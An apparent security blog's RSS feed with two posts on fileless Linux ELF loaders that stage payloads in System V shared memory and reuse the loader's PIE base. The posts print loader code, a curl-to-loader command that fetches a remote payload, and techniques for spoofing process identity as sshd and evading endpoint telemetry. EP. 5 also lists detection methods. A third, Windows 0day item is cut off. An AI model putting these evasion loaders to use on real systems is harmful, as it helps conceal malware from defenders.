<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>klydz</title>
    <link>http://klydz.net/</link>
    <description>security research &amp; technical writing</description>
    <language>en</language>
    <atom:link href="http://klydz.net/rss.php" rel="self" type="application/rss+xml"/>
    <lastBuildDate>Sat, 12 Sep 2026 03:07:23 +0000</lastBuildDate>
        <item>
      <title>How to APT EP. 6: Zero-FD Fileless Payload Execution via System V Shared Memory</title>
      <link>http://klydz.net/post.php?slug=how-to-apt-ep-6-zero-fd-fileless-payload-execution-via-system-v-shared-memory</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=how-to-apt-ep-6-zero-fd-fileless-payload-execution-via-system-v-shared-memory</guid>
      <pubDate>Thu, 10 Sep 2026 19:09:56 +0000</pubDate>
            <category>Stealth, malware</category>
                  <category>ELF</category>
            <category>Binary</category>
            <category>Linux Low</category>
            <category>level</category>
            <category>Loader</category>
            <description>Fileless ELF execution where the payload is never represented by a file descriptor, dentry, or key, at any point.</description>
            <content:encoded><![CDATA[<p><strong>Fileless ELF execution where the payload is never represented by a file descriptor, dentry, or key, at any point.</strong> The payload lives in kernel memory, encrypted and chunked, marked for destruction the moment it is touched, and handed off with a process identity that matches itself. This is a version-locked PoC, the claim below is exactly the property it demonstrates.</p>

<h2>The storage issue</h2>

<p>Every fileless loader needs somewhere to put the payload before it runs, and every kernel object it picks becomes a signature. The three established options each leave an artifact that is cheap to enumerate:</p>

<table>
  <thead>
    <tr><th>Store</th><th>Representation</th><th>Where it shows</th></tr>
  </thead>
  <tbody>
    <tr><td>memfd</td><td>fd + pseudo-dentry</td><td><code>/proc/pid/fd</code>, <code>/memfd:</code> in maps</td></tr>
    <tr><td>O_TMPFILE</td><td>real inode</td><td><code>/tmp/#N (deleted)</code> in maps, fs telemetry</td></tr>
    <tr><td>kernel keyring</td><td>key</td><td><code>/proc/keys</code>, <code>add_key</code>/<code>keyctl</code>, 20 KB quota</td></tr>
  </tbody>
</table>

<p>System V shared memory has none of those. <code>shmat</code> creates no file descriptor. The segment has no dentry in any filesystem namespace. There is no key, and no 20 KB quota. <code>SHMMAX</code> on a default kernel is effectively unbounded. The only enumerators are <code>ipcs</code> and <code>/proc/sysvipc/shm</code>, and shmexec removes that visibility twice over:</p>

<ol>
  <li><strong><code>IPC_RMID</code> on attach.</strong> The segment is marked for destruction the instant it is touched. It disappears from enumeration immediately and is destroyed with the process.</li>
  <li><strong>A private IPC namespace.</strong> In <code>self</code> mode the loader runs the entire operation inside <code>unshare(CLONE_NEWUSER|CLONE_NEWIPC)</code>. The segment never exists in the host's IPC namespace at all.</li>
</ol>

<p>The property, <em>at no point in its lifecycle is the payload represented by an fd, dentry, or key</em>, is a measured result in this PoC. Every phase was instrumented and checked, and the method is documented below. The "first published" framing is a literature claim, not a measurement: a search of published loaders and related repos found none built on SysV shm as the execution store. That is the best a priority claim can be, and it is stated as such.</p>

<h2>The design</h2>

<h3>self, one process, private namespace</h3>

<pre><code class="language-bash">$ cp shmexec /tmp/crond-helper
$ ./samebuildid /tmp/crond-helper payload.bin
$ /tmp/crond-helper self payload.bin</code></pre>

<ol>
  <li><code>unshare(CLONE_NEWUSER|CLONE_NEWIPC)</code>, the segment will never be visible to the host.</li>
  <li>Payload read (file, stdin, or HTTP), <code>shmget</code> in the private namespace, <code>shmat</code>, <code>IPC_RMID</code>.</li>
  <li>The payload's <code>PT_LOAD</code>s are mapped with <code>MAP_FIXED</code> at the loader's own kernel-chosen PIE base, the canonical <code>0x55…</code> slot the kernel gave the loader itself.</li>
  <li>A trampoline resets <code>FS</code>/<code>GS</code>, zeroes the general registers to kernel-equivalent state, and jumps into ld.so's entry point. No <code>execve</code>, ever.</li>
</ol>

<h3>feed / run, the payload never touches the runner</h3>

<pre><code class="language-bash">$ curl -s http://host/payload | shmexec feed -
id=98328,98329,98330

$ shmexec run 98328,98329,98330 sshd</code></pre>

<p>The feeder encrypts, chunks, and stages the payload in shm segments and prints the ids. The runner attaches, decrypts, destroys the segments, and executes. It never opens the payload file and never touches a network socket. <code>shmexec clean &lt;ids&gt;</code> tears down a staged-but-unused delivery.</p>

<h3>What the staging encryption is for</h3>

<p>The chunk XOR is deliberately simple and is not the point. Its observer model is narrow and explicit: it defeats an observer who can <em>read</em> the segments, someone racing to <code>shmat</code> by id, a kernel-memory capture taken while the segment lives, or a scanner looking for ELF magic in kernel memory. It does nothing against an observer who can <em>watch syscalls</em>. The key travels with the ids, and the runner's decrypted buffer is ordinary process memory. Anyone swapping this into operations should replace it with real cryptography. The PoC demonstrates the staging property, not a cipher.</p>

<h2>Under the hood</h2>

<p>Four moving parts do the actual work: a self-relocating clone, a libc-free stage, a hand-assembled trampoline, and the staging code. Each is short enough to show whole.</p>

<h3>Part 1: clone yourself, then vacate</h3>

<p>The loader is an ordinary PIE. It records the base the kernel gave it, copies its own <code>PT_LOAD</code>s into a scratch <code>mmap</code>, and rewrites every <code>R_X86_64_RELATIVE</code> relocation for the new base, in place, from the already-relocated image:</p>

<pre><code class="language-c">/* copy own segments to the scratch region */
for (int i = 0; i < eh->e_phnum; i++) {
    Elf64_Phdr *ph = phdr_at(eh, i);
    if (ph->p_type != PT_LOAD || !ph->p_memsz)
        continue;
    xcopy((void *)(G.reloc_base + ph->p_vaddr),
          (const void *)(G.old_base + ph->p_vaddr), ph->p_filesz);
}

/* re-relocate: old values carry old_base; subtract it, add the new one */
for (uintptr_t off = 0; off < relasz; off += sizeof(Elf64_Rela)) {
    Elf64_Rela *r = (Elf64_Rela *)(G.old_base + rela + off);
    if (ELF64_R_TYPE(r->r_info) == R_X86_64_RELATIVE && r->r_offset)
        *(uintptr_t *)(G.reloc_base + r->r_offset) =
            G.reloc_base +
            (*(uintptr_t *)(G.old_base + r->r_offset) - G.old_base);
}</code></pre>

<p>One jump later the loader executes from <code>0x7f…</code> and the canonical <code>0x55…</code> slot is empty, which is exactly where the payload is about to go. Two traps live here: zero-initialized globals sit in <code>.bss</code>, which the copy loop never touches (one non-zero initializer forces the whole state struct into <code>.data</code>), and anything the clone will need must be created <em>before</em> the copy, or the clone sees a zero.</p>

<h3>Part 2: a stage with no libc</h3>

<p>After the jump, the old libc, ld.so, and heap are about to be unmapped, so the stage cannot call into any of them. Every operation is a raw syscall through a tiny asm shim:</p>

<pre><code class="language-c">static long raw6(long n, long a1, long a2, long a3, long a4, long a5, long a6)
{
    long ret;
    register long r10 __asm__("r10") = a4;
    register long r8  __asm__("r8")  = a5;
    register long r9  __asm__("r9")  = a6;
    __asm__ volatile("syscall"
                     : "=a"(ret)
                     : "a"(n), "D"(a1), "S"(a2), "d"(a3),
                       "r"(r10), "r"(r8), "r"(r9)
                     : "rcx", "r11", "memory");
    return ret;
}</code></pre>

<p>That one function, plus explicit byte-copy loops, is the entire post-libc runtime. The stage then does the sequence the whole technique exists for, unmap the world, map the payload into the vacancy:</p>

<pre><code class="language-c">/* everything recorded at startup: old image, libc, ld.so, caches, gone */
for (int i = 0; i < G.n_unmap; i++)
    raw3(11, G.unmap[i].start, G.unmap[i].end - G.unmap[i].start, 0);

/* the payload inherits the loader's own kernel-chosen base */
uintptr_t t_base = (G.t_type == ET_DYN) ? G.old_base : 0;
map_elf_raw(t_base, (const unsigned char *)staging);   /* MAP_FIXED PT_LOADs */</code></pre>

<p><code>scan_maps</code> decides what survives: the stack, vdso, vvar (including the <code>[vvar_vclock]</code> split newer kernels use), the brk heap (the kernel resets brk on unmap, and the target's malloc would inherit a corrupt arena), and the anonymous TLS cluster (<code>FS.BASE</code> still points at the old thread control block until the trampoline resets it; unmap that region and any early <code>%fs</code> access faults).</p>

<h3>Part 3: the trampoline</h3>

<p>The handoff itself is 123 bytes of hand-assembled machine code, patched at runtime with the four addresses it needs:</p>

<pre><code class="language-c">static const unsigned char tpl[123] = {
    0xf3, 0x0f, 0x1e, 0xfa,                 /* endbr64                    */
    0x48, 0xbf, 0,0,0,0,0,0,0,0,           /* movabs rdi, reloc_base     */
    0x48, 0xbe, 0,0,0,0,0,0,0,0,           /* movabs rsi, reloc_size     */
    0xb8, 0x0b, 0x00, 0x00, 0x00,           /* mov eax, 11                */
    0x0f, 0x05,                             /* syscall      (munmap)     */
    0x48, 0xbc, 0,0,0,0,0,0,0,0,           /* movabs rsp, layout         */
    0x48, 0x89, 0xe7,                       /* mov rdi, rsp               */
    0x48, 0xba, 0,0,0,0,0,0,0,0,           /* movabs rdx, t_base         */
    0x31, 0xc0, 0x31, 0xdb, 0x31, 0xc9,     /* xor  eax..ecx              */
    0x31, 0xf6, 0x31, 0xed,                 /* xor  esi, ebp              */
    0x45, 0x31, 0xc0, 0x45, 0x31, 0xc9,     /* xor  r8d..r15d             */
    0x45, 0x31, 0xd2, 0x45, 0x31, 0xdb,
    0x45, 0x31, 0xe4, 0x45, 0x31, 0xed,
    0x45, 0x31, 0xf6, 0x45, 0x31, 0xff,
    0xb8, 0x9e, 0x00, 0x00, 0x00,           /* mov eax, 158               */
    0xbf, 0x02, 0x10, 0x00, 0x00,           /* mov edi, 0x1002  FS=0      */
    0x31, 0xf6, 0x0f, 0x05,                 /* syscall (arch_prctl)       */
    0xbf, 0x01, 0x10, 0x00, 0x00,           /* mov edi, 0x1001  GS=0      */
    0x31, 0xf6, 0x0f, 0x05,
    0x48, 0xb8, 0,0,0,0,0,0,0,0,           /* movabs rax, entry          */
    0xff, 0xe0,                             /* jmp rax                    */
};</code></pre>

<p>Read it top to bottom: the trampoline runs from its own page, unmaps the scratch region it used to live in (self-destructing the loader), switches to the freshly built stack, resets <code>FS</code>/<code>GS</code>, zeroes every general register, the exact state the kernel leaves at <code>execve</code>, which glibc's <code>_start</code> depends on, and jumps to the interpreter's entry point. On the glibc version tested (2.44), ld.so's <code>_start</code> passes the initial stack pointer to <code>_dl_start</code> in <code>rdi</code> (<code>elf/rtld.c</code>); older glibc passed the program's ELF header in <code>rdx</code> instead, which is why the trampoline sets both. ld.so then relocates itself, loads libc, sets up TLS, and calls <code>main</code>, never knowing no exec happened.</p>

<p>The initial stack deserves a note of its own: it is built by hand, <code>argc</code>, <code>argv</code>, the full <code>environ</code>, and a complete auxv (<code>AT_PHDR</code>, <code>AT_BASE</code>, <code>AT_ENTRY</code>, <code>AT_EXECFN</code> pointing at the loader's real path, <code>AT_RANDOM</code>), on the surviving stack, so the payload inherits the operator's environment exactly.</p>

<h3>Part 4: the staging path, feed side</h3>

<p>The feeder's staging loop is the whole storage story in miniature:</p>

<pre><code class="language-c">/* chunk sizes derived from the key: 32–48 KB, no fixed pattern */
size_t n = 0, pos = 0;
while (pos < len && n < SHM_MAXC) {
    size_t cl = 0x8000 + ((key[n % SHM_KEY_SZ] * 7) % 0x4000);
    if (cl > len - pos)
        cl = len - pos;
    sizes[n++] = (uint32_t)cl;
    pos += cl;
}

/* header segment: sizes + key; payload segments: XOR'd chunks */
for (size_t c = 0; c < n; c++) {
    unsigned char *chunk = calloc(1, sizes[c]);
    for (size_t i = 0; i < sizes[c]; i++)
        chunk[i] = buf[off + i] ^ key[(off + i) % SHM_KEY_SZ];
    int id = shmget(IPC_PRIVATE, sizes[c], IPC_CREAT | 0600);
    void *q = shmat(id, NULL, 0);
    memcpy(q, chunk, sizes[c]);
    shmdt(q);
    off += sizes[c];
}</code></pre>

<p>The runner does the mirror image: <code>shmat</code>, <code>IPC_RMID</code> on the first touch, decrypt into an ordinary buffer, detach. The ciphertext never survives the attach, and the segments are dead before a single payload byte is mapped.</p>

<h2>A process identity that matches itself</h2>

<p>The usual tells of userland exec are self-inflicted: a deleted exe link, a <code>comm</code> that contradicts it, a build ID that betrays the swap. shmexec removes each one:</p>

<ul>
  <li>The loader <strong>stays on disk</strong> under whatever name the operator chooses. The exe link is a real file, no <code>(deleted)</code>.</li>
  <li><code>comm</code>, <code>cmdline</code>, and <code>argv[0]</code> default to the loader's own basename, so they agree with the exe link. <code>-s</code> overrides.</li>
  <li><code>AT_EXECFN</code> points at the loader's real path, which exists.</li>
  <li><code>samebuildid</code> patches the loader's on-disk build ID to match the payload's. A defender diffing the exe's build ID against the in-memory image finds them <em>equal</em>.</li>
</ul>

<p>And because the loader is a long-lived process (<code>-d</code> delays the handoff arbitrarily), the identity change is not a process-creation event at all.</p>

<p>What the target sees, end to end:</p>

<pre><code>exe     = /tmp/crond-helper
comm    = crond-helper
cmdline = crond-helper
argv0   = crond-helper</code></pre>

<h2>Method and verification</h2>

<p>Environment: x86-64, kernel 7.2.2 (cachyos), glibc 2.44, gcc 16.2. The loader is pinned to glibc 2.44's entry convention (<code>_start</code> in <code>elf/rtld.c</code> passing the initial stack pointer to <code>_dl_start</code> in <code>rdi</code>). This is a version-locked PoC, and no porting matrix is claimed.</p>

<p>Every claim in this article corresponds to an instrumented measurement, not a code read:</p>

<ul>
  <li><strong>Zero-fd claim:</strong> at each phase, <code>/proc/self/fd</code> was enumerated; no fd referencing the payload exists at any point (the segment is attached by address, not by descriptor).</li>
  <li><strong>Zero-dentry claim:</strong> the loader's <code>maps</code> show no <code>/SYSV</code> backing after the handoff; before it, the segment is already <code>IPC_RMID</code>-marked and detached.</li>
  <li><strong>Zero-key claim:</strong> no <code>add_key</code>/<code>keyctl</code> exists in the loader's syscall surface at all.</li>
  <li><strong>Namespace claim:</strong> host <code>ipcs</code> was polled during and after execution, zero segments, every run.</li>
  <li><strong>Execution matrix:</strong> dynamic PIE and static non-PIE payloads, 10 runs each in <code>self</code> mode, 10 runs of an encrypted, chunked, stdin-fed 1 MB static payload through <code>feed</code>/<code>run</code>. Pass criterion: target runs to completion and the identity triple reads as expected.</li>
  <li><strong>TLS and threads:</strong> the dynamic payload spawns a <code>pthread_create</code> worker and reads TLS state, success is the worker completing under the handoff, not a code-path assertion.</li>
  <li><strong>Environment:</strong> the full 151-variable environment of the shell is propagated through the handoff and checked inside the target.</li>
  <li><strong>Identity:</strong> exe link, <code>comm</code>, <code>cmdline</code>, <code>argv[0]</code>, and the exe-vs-memory build-ID comparison were captured from inside the target in the runs shown above.</li>
</ul>

<h2>Scope</h2>

<p>x86-64 Linux, glibc 2.44, kernel 7.x. Static PIE payloads are rejected with exit 2; their 1 MB+ image collides with the inherited brk arena. Dynamic PIE and static non-PIE are fully supported. The entry convention, the <code>[vvar_vclock]</code> handling, and the namespace behavior are all kernel- and libc-version-sensitive. Treat this as a pinned PoC, not a portable primitive.</p>

<h2>Residual telemetry, pressure-tested</h2>

<p>The interesting question is not what the cheap detection catches. It is what remains <em>after</em> the storage and identity work. That surface, checked against the telemetry a modern Linux endpoint actually has:</p>

<table>
  <thead>
    <tr><th>Telemetry source</th><th>What it sees</th><th>Residual signal</th></tr>
  </thead>
  <tbody>
    <tr><td>eBPF exec tracepoints / <code>sched_process_exec</code></td><td>nothing, no exec occurs</td><td>the absence itself, if correlated against identity change</td></tr>
    <tr><td>auditd syscall rules</td><td><code>shmget</code>/<code>shmat</code>/<code>shmctl</code> + <code>mmap(MAP_FIXED)</code> + <code>mprotect(PROT_EXEC)</code></td><td>the primary signature; rare-syscall sequence</td></tr>
    <tr><td>maps scanning</td><td>anonymous executable regions at the canonical PIE base; anonymous ld.so; 4 KB trampoline</td><td>anomalous-but-normal-shaped; needs the exec-trace correlation</td></tr>
    <tr><td>auxv inspection</td><td><code>AT_EXECFN</code> consistent with exe</td><td>none, by construction</td></tr>
    <tr><td>user-namespace accounting</td><td><code>/proc/pid/uid_map</code> shows the <code>0 → real-uid</code> mapping; <code>NSpid</code> reflects the new ns</td><td>visible userns creation, an operator-level tell on hardened hosts</td></tr>
    <tr><td><code>prctl(PR_SET_NAME)</code> watchers</td><td>name change without exec</td><td>weak alone; meaningful with the above</td></tr>
    <tr><td>eBPF on shm ops</td><td>the segment lifecycle, regardless of namespace</td><td>requires prior deployment of a shm-aware probe</td></tr>
  </tbody>
</table>

<p>Three of these, the syscall sequence, the userns mapping, and the missing exec event, are irreducible in userland. Removing the first two would require a different storage medium, which would reintroduce an enumerable representation. Removing the third would require <code>execve</code>, which would forfeit the whole property. That trade-off is the technique's defining boundary, stated plainly.</p>


<h2>Prior art and the contribution</h2>

<p>The execution machinery stands on published work: grugq's ul_exec, fireelf, ulexecve, Dntry, and the address-space recycling handoff from palimpsest. The contribution here is the storage layer, a payload that is never represented by an fd, dentry, or key, combined with the encrypted chunked staging and the identity package that makes the surviving process self-consistent. The "first published" wording above is a literature claim with the basis given; the property itself is the measured result.</p>

<hr>

<p>Code: <a href="https://github.com/klydz/shmexec">github.com/klydz/shmexec</a>. Research PoC, run only on systems you own or are authorized to test.</p>
]]></content:encoded>
          </item>
        <item>
      <title>How to APT EP. 5: Reusing the loader’s PIE base for userland exec</title>
      <link>http://klydz.net/post.php?slug=how-to-apt-ep-5-reusing-the-loaders-pie-base-for-userland-exec</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=how-to-apt-ep-5-reusing-the-loaders-pie-base-for-userland-exec</guid>
      <pubDate>Thu, 10 Sep 2026 14:40:25 +0000</pubDate>
            <category>Malware</category>
                  <category>ELF</category>
            <category>Binary</category>
            <category>Linux</category>
            <category>Low level</category>
            <category>Loader</category>
            <description>Every fileless loader leaves a recognizable footprint in /proc/pid/maps.
This one reuses the address the kernel chose for its own loader, so the payload lands in the canonical PIE region rather than an absurd one. That removes one tell, the address, and leaves the rest.</description>
            <content:encoded><![CDATA[<h2>What this is</h2>

<p>A loader that runs an ELF from memory without <code>execve</code>, then hands the process image over at the loader's own kernel-chosen base. The result is a process whose executable mappings sit in the canonical <code>0x55…</code> region instead of the low or borrowed addresses earlier techniques settle for.</p>

<p>Scope: x86-64 Linux only, tested on glibc 2.44 (Arch), kernel 7.2.2. The <code>[vvar]</code>/<code>[vvar_vclock]</code> split mentioned later is kernel-version-dependent. The payload cases verified are dynamic PIE and static non-PIE; static PIE is rejected (see Limitations). The test matrix includes a dynamic payload that spawns a thread with <code>pthread_create</code> and exercises TLS.</p>

<p>This is not a new category of technique. A loader binary that exists on disk, executes, and unlinks itself is deleted-file + userland exec, a class defenders already track. The delta here is hygiene <em>after</em> the handoff: what the process looks like once the payload is running.</p>

<h2>The problem with existing fileless loaders</h2>

<p>Linux fileless execution has a long history: grugq's ul_exec in 2005, fireelf, ulexecve, memfd loaders, and recently Dntry with its <code>O_TMPFILE</code> + <code>execveat(AT_EMPTY_PATH)</code> and kernel-keyring paths. All of them solve the same problem, run an ELF without it touching disk, and most of them share one artifact in <code>/proc/pid/maps</code>:</p>

<p>An anonymous executable mapping at an address no normal process would have.</p>

<p>That is a pattern SOCs grep for when hunting fileless malware on Linux: <code>r-xp</code> regions with <code>00:00</code> backing at addresses below <code>0x700000000000</code>, or named <code>/memfd:</code>, or backed by tmpfs with a <code>(deleted)</code> suffix. The comparison below also tracks what happens to the exe link, because that is where the tools trade off against each other:</p>

<table>
  <thead>
    <tr><th>Tool</th><th>Payload mapping</th><th>exe link after handoff</th><th>The tell</th></tr>
  </thead>
  <tbody>
    <tr><td>memfd + fexecve</td><td><code>0x7f…</code> (<code>/memfd:</code>)</td><td><code>/memfd:name (deleted)</code></td><td>memfd in maps + fd, exec telemetry fires</td></tr>
    <tr><td>fireelf</td><td>fixed low address (~<code>0x200000</code>)</td><td>loader path</td><td>anon exec at an absurd address</td></tr>
    <tr><td>ulexecve</td><td>borrowed vdso area</td><td>python loader</td><td>odd/missing vdso</td></tr>
    <tr><td>Dntry (O_TMPFILE)</td><td>tmpfs inode</td><td><code>/tmp/#N (deleted)</code></td><td>tmpfs backing, exec telemetry fires</td></tr>
    <tr><td>Dntry (keyring)</td><td>low address, static-only</td><td>loader path</td><td>same absurd address, 20 KB quota</td></tr>
    <tr><td>palimpsest</td><td>loader's original PIE base</td><td>loader <code>(deleted)</code></td><td>deleted exe, anon interpreter (below)</td></tr>
  </tbody>
</table>

<p>Dntry's (https://matheuzsecurity.github.io/hacking/linux-kernel-keyring-fileless-exec/) <code>execveat</code> path gets a clean exe link but pays for it with exec telemetry and a tmpfs inode. palimpsest takes the other side of that trade: no exec telemetry, no inode for the payload, and an exe link that still lies. The address is the part this work actually fixes, and only in the sense that the payload inherits a plausible <em>class</em> of address: the loader's kernel-chosen PIE base, not the address the kernel would independently have selected for this payload under a fresh exec.</p>

<h2>The technique</h2>

<p>A palimpsest is a page of parchment scraped clean and written over again. The technique is exactly that, applied to an address space.</p>

<ol>
  <li><strong>Record the load address.</strong> The loader notes the <code>0x55…</code> base the kernel gave it.</li>
  <li><strong>Clone and relocate itself.</strong> It copies its own <code>PT_LOAD</code>s into a scratch <code>mmap</code>, rewrites its <code>R_X86_64_RELATIVE</code> relocations for the new base, and jumps to the copy. It now executes from <code>0x7f…</code>; the canonical <code>0x55…</code> slot is vacant.</li>
  <li><strong>Unmap everything else.</strong> The old image, libc, ld.so, the ld.so cache, locale files, everything except the stack, vdso, vvar, the brk heap, and the anonymous TLS cluster the runtime still touches.</li>
  <li><strong>Map the payload.</strong> The target's <code>PT_LOAD</code>s are mapped with <code>MAP_FIXED</code> at the loader's original base. A fresh copy of ld.so is parsed and mapped at a kernel-picked <code>0x7f…</code> address. A full initial stack, <code>argc/argv/envp/auxv</code>, is written onto the surviving stack, with <code>AT_PHDR</code>, <code>AT_BASE</code>, and <code>AT_ENTRY</code> pointing into the newly mapped image.</li>
  <li><strong>Hand off.</strong> A small trampoline page unmaps the scratch region, resets <code>FS</code>/<code>GS</code> to zero, zeroes every general register, switches <code>rsp</code> to the new stack, and jumps into ld.so's entry point. On the glibc version tested (2.44), ld.so's <code>_start</code> passes the initial stack pointer to <code>_dl_start</code> in <code>rdi</code> (elf/rtld.c); older glibc passed the program's ELF header in <code>rdx</code> instead. The trampoline sets both registers accordingly, matching what a freshly exec'd dynamic binary would find, then ld.so relocates itself, loads libc, sets up TLS, and calls <code>main</code>.</li>
</ol>

<p>No exec-family syscall exists anywhere in the path, the syscall surface of the handoff is <code>openat</code>/<code>read</code>/<code>mmap</code>/<code>mprotect</code>/<code>munmap</code>/<code>prctl</code>. The process image is replaced by a jump, not by the kernel.</p>

<p>The resulting process:</p>

<pre><code>55f1a81fc000-55f1a81fd000 r--p 00:00 0          ← the payload, at the loader's original PIE base
55f1a81fd000-55f1a81fe000 r-xp 00:00 0
55f1a81fe000-55f1a8200000 r--p 00:00 0
55f1a8200000-55f1a8201000 rw-p 00:00 0
55f1c6c0f000-55f1c6c51000 rw-p 00:00 0          [heap]
7f46fd400000-7f46fd652000 …                     /usr/lib/libc.so.6   ← fresh, file-backed
7f46fd8e3000-7f46fd928000 …                     ld.so (mapped from memory)
7f46fda6c000-7f46fda72000 …                     [vvar] [vvar_vclock]
7f46fda72000-7f46fda74000 r-xp 00:00 0          [vdso]
7ffd30bed000-7ffd30c32000 rw-p 00:00 0          [stack]</code></pre>

<p>The identity triple from the same run:</p>

<pre><code>exe link  = /home/xon/palimpsest/palimpsest (deleted)
comm      = sshd
cmdline   = sshd</code></pre>

<p>The executable mappings sit at the canonical PIE base with a file-backed libc, a normal stack, and a normal vdso. Because the handoff does not invoke <code>execve</code>, exec-specific telemetry such as <code>sched_process_exec</code> is not generated for the handoff, and the payload is never represented by a new inode, no file, no memfd, no key. Delivery still happens (a file read, stdin, or an HTTP fetch), and the loader's own syscalls, <code>mmap</code>, <code>mprotect</code>, <code>prctl</code>, remain visible to syscall monitoring.</p>

<h2>Implementation notes</h2>

<p>These are the details that are easy to get wrong, each verified against a core dump:</p>

<ol>
  <li><strong>Zero-initialized globals live in .bss.</strong> The loader's state struct was in <code>.bss</code>, which <code>clone_self</code> does not copy (it copies file-backed bytes only), so the clone's state was all zeros. Initializing one field moves the struct to <code>.data</code> and fixes it. Relevant to any self-copying loader.</li>
  <li><strong>Order of operations matters for the clone.</strong> The trampoline page was created after the clone, so the clone's state had <code>tramp = 0</code>, the clone wrote to address zero. Create everything the clone needs before copying.</li>
  <li><strong><code>MAP_FIXED</code> is a flag.</strong> <code>0x22</code> instead of <code>0x32</code> turns the address from a mandate into a hint, and the mapping lands wherever the kernel decides.</li>
  <li><strong>glibc assumes kernel state.</strong> The kernel zeroes every general register at <code>execve</code>, and glibc's <code>_start</code> depends on it. The trampoline must do the same; otherwise the target inherits garbage in <code>r12–r15</code>, and the crash location varies with ASLR.</li>
  <li><strong><code>jmp</code> is not <code>call</code>.</strong> The ABI guarantees <code>rsp % 16 == 8</code> at function entry, after a <code>call</code>. Jumping into a function with a 16-aligned stack leads to <code>#GP</code> on <code>movaps</code> stores. The entry jump needs an 8-byte adjustment.</li>
  <li><strong><code>[vvar]</code> is not the only vvar.</strong> On the kernels tested, the vvar area is split into <code>[vvar]</code> and <code>[vvar_vclock]</code>. A name filter that matches only the first unmaps the second, and the vdso clock source then reads unmapped memory. Failures are timing-dependent.</li>
  <li><strong><code>FS.BASE</code> outlives its mapping.</strong> Without an execve, the FS segment still points at the old thread control block. Unmapping the old TLS makes any early <code>%fs</code> access fault. The trampoline resets <code>FS</code>/<code>GS</code> to zero (kernel-equivalent state), and the anonymous TLS cluster is left mapped.</li>
  <li><strong>The brk heap is kernel state.</strong> Unmapping the old heap resets the kernel's brk pointer; the target's malloc then inherits a 4 KB arena with corrupted metadata. The <code>[heap]</code> mapping is kept and reused by the target's glibc. The payload buffer is zeroed after staging so no payload bytes remain there.</li>
  <li><strong>Check machine-code offsets.</strong> The trampoline is a byte template with patched <code>movabs</code> immediates. A wrong length calculation patches the entry point into zero padding.</li>
</ol>

<p>Most of the debugging time went into three recurring classes of failure, stale state in the clone, missing kernel-equivalent initialization, and unmapping memory the kernel still owns. Each presents differently (fault at <code>rip=0</code>, <code>#GP</code> on <code>movaps</code>, <code>#GP</code> on <code>ret</code>) but they trace back to those three.</p>

<h2>What remains visible</h2>

<p>The address tell is gone. The rest are still there, and they are what this article is actually useful for:</p>

<ul>
  <li><code>/proc/pid/exe</code> points at the deleted loader, a <code>(deleted)</code> exe link.</li>
  <li><code>comm</code>/<code>cmdline</code> say one name; the exe link's basename says another. The mismatch is permanent, the process will never look fully consistent.</li>
  <li>The interpreter copy is an anonymous <code>r-xp</code> region the size and shape of ld.so, at a normal address, with <code>00:00</code> backing.</li>
  <li>One lone 4 KB anonymous <code>r-xp</code> page (the trampoline).</li>
  <li><code>AT_EXECFN</code> in auxv points at the spoofed path, which does not exist on disk.</li>
  <li>The build ID in memory does not match the build ID of <code>/proc/pid/exe</code>.</li>
  <li>No <code>sched_process_exec</code> for a process that otherwise looks newly born, a process-history anomaly.</li>
  <li>Syscall monitoring still sees the loader's <code>mmap(MAP_FIXED)</code> + <code>mprotect(PROT_EXEC)</code> sequence and the <code>prctl(PR_SET_NAME)</code>.</li>
</ul>

<p>The technique does not make a process invisible. It removes the dumb address tell. The deleted exe, the name mismatch, the anonymous interpreter, the trampoline page, and the missing exec event are all still there, which is exactly the correlation a defender should hunt.</p>

<h2>Limitations and negative results</h2>

<ul>
  <li>Static PIE is rejected (exit 2): its 1 MB+ image collides with the inherited brk arena, corrupting the target's own malloc state. Dynamic PIE and static non-PIE are fully supported, 10/10 runs each, with file/stdin/http delivery.</li>
  <li>The ld.so copy is mapped anonymous rather than file-backed. Addresses and permissions are kernel-plausible; the <code>00:00</code> backing is the one structural blemish, shared with every in-memory loader.</li>
  <li>The old TLS cluster and brk heap survive for the reasons above.</li>
  <li>The loader binary must exist on disk long enough to be executed and unlinked. This is deleted-file execution, not true filelessness.</li>
  <li>Hardening that denies anonymous executable memory will break the handoff: PaX-style <code>MPROTECT</code>, SELinux <code>execmem</code>, or a seccomp filter blocking <code>mmap</code>/<code>mprotect</code> with <code>PROT_EXEC</code> on anonymous mappings. Not tested against any of these; treated as expected failure modes.</li>
</ul>

<h2>Detection</h2>

<ul>
  <li>Hunt anonymous <code>r-xp</code> regions whose size and permission pattern matches ld.so but lack file backing, adjacent to a lone 4 KB <code>r-xp</code> page.</li>
  <li>Correlate the absence of <code>sched_process_exec</code> with <code>prctl(PR_SET_NAME)</code> and a rewritten cmdline, <code>comm</code> not matching the basename of <code>/proc/pid/exe</code>.</li>
  <li>Flag any process whose exe link carries <code>(deleted)</code> and whose <code>comm</code> does not match it.</li>
  <li>Inspect auxv: <code>AT_EXECFN</code> points at a path that does not exist on disk.</li>
  <li>Diff the build ID in memory against <code>/proc/pid/exe</code>.</li>
  <li>Alert on <code>mmap(MAP_FIXED)</code> over a former text mapping followed by <code>mprotect(PROT_EXEC)</code>, observed from syscall instrumentation.</li>
</ul>

<p>Each of these is weak alone; together they describe exactly one thing: a process that was replaced without the kernel being asked. That is the signature to ship.</p>

<hr>

<p>Related work: grugq's ul_exec (2005), fireelf, ulexecve, Dntry. The contribution here is the address-space recycling handoff, reusing the loader's kernel-chosen base instead of picking a suspicious one, and documenting the artifacts that survive it, not the concept of userland exec itself. Code: <a href="https://github.com/klydz/palimpsest">github.com/klydz/palimpsest</a>. Test only on systems you own or are authorized to test.</p>]]></content:encoded>
          </item>
        <item>
      <title>Analysis of a new windows unpatched 0day (cve-2026-62737)</title>
      <link>http://klydz.net/post.php?slug=analysis-of-a-new-windows-unpatched-0day-cve-2026-62737</link>
      <guid isPermaLink="true">http://klydz.net/post.php?slug=analysis-of-a-new-windows-unpatched-0day-cve-2026-62737</guid>
      <pubDate>Mon, 10 Aug 2026 18:26:34 +0000</pubDate>
            <category>Kernel, windows</category>
                  <category>windows kernel</category>
            <category>LPE</category>
            <category>0day</category>
